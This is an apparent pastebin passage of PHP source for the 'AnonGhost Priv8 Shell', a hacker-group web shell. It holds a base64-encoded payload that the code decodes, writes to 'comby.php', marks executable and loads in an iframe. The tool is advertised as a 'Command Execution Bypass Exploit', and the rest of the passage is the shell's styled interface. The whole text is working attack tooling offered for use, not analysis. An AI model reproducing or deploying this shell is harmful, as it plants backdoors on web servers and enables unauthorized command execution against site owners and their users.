hVNDZITENLMzNSbDVsdjg1eHJybnBhYTYxMzhIdW5OOFhYY0wreGJEOGt6cURIQ3ZPUXRNVTl1MC90Q0xEYlBSK2htWDJmUHNTZUlLeGw4RnpGQjBscjY4UjZ4TlNXWTY2OWd4M21VUGxMZTQ1MjRpYjM2eDJjNE11OVoxSzlQd0tmSytmMlB1eHBpTXYyNldOVTB6WDdkZFNqZzRuTy9CM0wxQVg1dGFDblBjL2lQWVRoaGJXeWg3V3lIMktQZXRRTW42LzQzeWZmaGdaVmUvY2RmSEx2UTN2d0w1MCt0VGVSdjRTdkMvT0pzUjM0NElBZnBEbm9sWER4bUgxWDZzeFhjSnptQU9QeERnNHFPZWE5OVVOeE1FZUovKzhuSDJOdEkzOEZ6eXhOWnc2VUYxZ3pieDFmVnRFK2FXUEp0VFJtNDRybWFMYmRKeCtLYitEd2doOEo3ekVSdS9UamN0SnRjTkh3SDRyTGM2am43R2ZXU0hrSCs5WkE1WE9iL1dTT2FjYS85emp3a09GNTlaWFlzVi9yOXVQV2dSTkhXUlBORTVVNnJheTNudnpJbVVPNzkzQ1luNVV2YzZQbjJVb3M1TEd3ZDlBOFc5TG4xVDY2b08wcjYzN0JLY1FUZU1Ed3JIWEpOU3VuNktjNG5KNHZZTFI2Vml2a0VrL2xtbFhQQUdYeWszVlplODM0cDBCWEczN09lNUxtYmZrRno0aDRsampmQzcvWmliKzlKcGQyejJWb3BqVzU0L205bDNOZ3VtZk13aHhlci9OZDk3R1AyekVuZXo5YWNjRmxGYzcyY3hHZEY3ZGo5cmUzOVQ1Ujg3MDJhZ2JHSy9zeWhYMHU1Y2ZhWlozRWo0akhGekQ3SUJibU9zK25ucGtQbjNlZDJsYnhDcDY5bXZWeEpmZXNVMXlPM3pVL0ZjOW85T1d4cnh4dzZnck84QUhsT2pWUjl3Y1hLMnZ3REhUb0kxNnRlSStXV2xiNjBScFFUeHJUallsOXpnSVYzdk9NSGF4ZmZCaGdFKzh0am9KRC9Hd2hxSS9uSXVGd3Z4MTdDbUYvYkY1azc4MzczOG94K3llRmRYbTJxc3ZVTlB2ejhGNTNUYiswTEk5NjdDK3RZTmExS2VTK1pSeUs2dzFHZ2o3QTc5aWJGV1pCNFlMclNBZGk2bC9GUXd0VDk0blJacS90ZVM3UWxHWEcxT0hvQ2pmVjkrUko3MTlKbTlEK2ltNmJhN3l2M09pQjFiTzcrWm05YmErMWJaTVhWYVByS1lZMmRmL2dzSFZ5dmZCQ0h6VDJndzRQVkc3SC9tbkJjeDJ6OUhLYmUySm9mS3kvNnBuM1VZVDVEZjRqcDVvRnIvTVk3OHQwWnE5bWo5cG5mZzYvaFdjcEorOGMvUFYrYUY4bjF4ejdZbXZHNzlsUUhIL0ZJK0JqN09ma1Axd3plcm5pN3dPZDZwN2puL0NuWitMblNVc1dldFM1WmZadVplcXo5OW1rMlM4OHpnNzJXSk45b0dkMTU3NmdiWVgrOUh2RmIyOTVPV25hZWp2bXVXRDlqWDJVWml4NzM2bk02NFgzUk44bnZUdDVQZVdSL1pES3ZrcXdqeEJvVWVETCszbmY0ZFN6amRtK3NMNWdQZFZlb1p5OEdiT25uKzBWT0xXeUg5RFJFTzlQcUk1bGVzRGdmUHZrNkpQRGdsb0oxeXUxM205enJ3YnU4bnhyTFNtWGsxK0JFL1FjenY3M01mc3V5SUU4Mk9zMjkxY3E2MzNkNXZOVzl2bXFmVllEUzYvSjU5N0xzMi9WZVdoTWdaL1Z4MHZpUzgrSTBVVjdOczljaDUraXJuNldxdnVSSitYUk15NDgyL0d3Y2VxZlJoMmxLK2I4eCszWWM2eDExcTNnQzQ0MVUrdk91WDVtSFhnaFAzdFJibmZPYmJmNXJPdytPZkRjQjlGbTNpcjkybGkvdGFmUXQzNFdQNjR2cnJ2ZmpqMGpQNGV0cjZtcDRrMzZ1Qk5QTytGK25PODlDdjFHN05LcE1uMXVnWmZVOC9pUzhING52cURobmNNOXpHeHIvZmQ4WCs4ek4vYkVqa0Y5MDhBNHV1M25LdUo4OW9ic3ExVURkTFBnVlJ2K3hjLzIvQnlyY20zMVluQTgvcnVkZU1ZY0lNK01wMUlPMzFNSE90ZUpPbm5idnRSellQTStvUGV4bU1XT21SbGYxNitUSCswZDZqcjdwM2x1TUYrZ0MrWTY0OEhQTTgrOWJtOWFudmsvSWIvOG44ajJGejZYak9uOFAwTjZqV3Zmdi85NC9XZi85ei8reUg5Vit2TWJ6K0RHRzIwdWpUZkROZjN6eDM4QidceDI5XHgyOVx4MjlceDNCIiwiIik7DQo/Pg=='; $file = fopen("comby.php" ,"w+"); $write = fwrite ($file ,base64_decode($comby)); fclose($file); chmod("comby.php",0755); echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>Command Execution Bypass Exploit Developped By Mauritania Attacker</b></p><iframe src=comby.php width=70% height=60% frameborder=0></iframe>"; } echo '<title>-[ AnonGhost Priv8 Shell ]-</title><link rel="shortcut icon" href="http://www.iconj.com/ico/z/p/zpsi90lfc7.ico" type="image/x-icon" /><link href="http://fonts.googleapis.com/css?family=Ubuntu&font-effect-shadow-multiple" rel="stylesheet" type="text/css"><style> *{font-family:Courier New;} div{align:center;-moz-border-radius:1px;border-radius:1px;border:1px dashed #58FAF4;margin:4px 0 6px;padding:8px 6px;} body{background:#101010;background-image: url(http://i952.photobucket.com/albums/ae1/virusaworm/ag/fondbg_zps650f5025.jpg);font-family:Courier New;font-size:12px;color:#58FAF4;font-weight:400;} a{text-decoration:none;} a:link {color:#58FAF4;} a:visited {color:#008080;} a:hover{color:#ff0000;} a:active {color:#00a2a2;} ul#menu, ul#menu ul.sub-menu { font-size:12px; font-family:serif; padding:0; margin:0; text-align:center; opacity:.9 } ul#menu li, ul#menu ul.sub-menu li { list-style-type:none; display:inline-block;border: solid 1px;border-radius: 5px width:75px } ul#menu li a, ul#menu li ul.sub-menu li a { text-decoration:none; color:#58FAF4; background:#333; padding:5px; display:block} ul#menu li a:hover, ul#menu li ul.sub-menu li a:hover { background:#666 } ul#menu li { position:relative } ul#menu li ul.sub-menu { position: absolute; top:23px; display:none } ul#menu li:hover ul.sub-menu { display:block } input[type="submit"]{color:black;} .copy {font-size:7.5pt;} </style><br><br><br><footer style="position:fixed; left:0px; right:0px; bottom:0px; background:rgb(21,21,21); background-image: url(http://i952.photobucket.com/albums/ae1/virusaworm/ag/fondbg_zps650f5025.jpg); text-align:center;"><p><b><font color=#58FAF4 size=1 face="Courier New">&copy; AnonGhost Priv8 Shell 2013 | Coded by Virusa Worm & Mauritania Attacker</font></b></p></footer>';
  1005.  
  1006.  

Reply to "AnonGhost Bypass Shell 2013"

Here you can reply to the paste above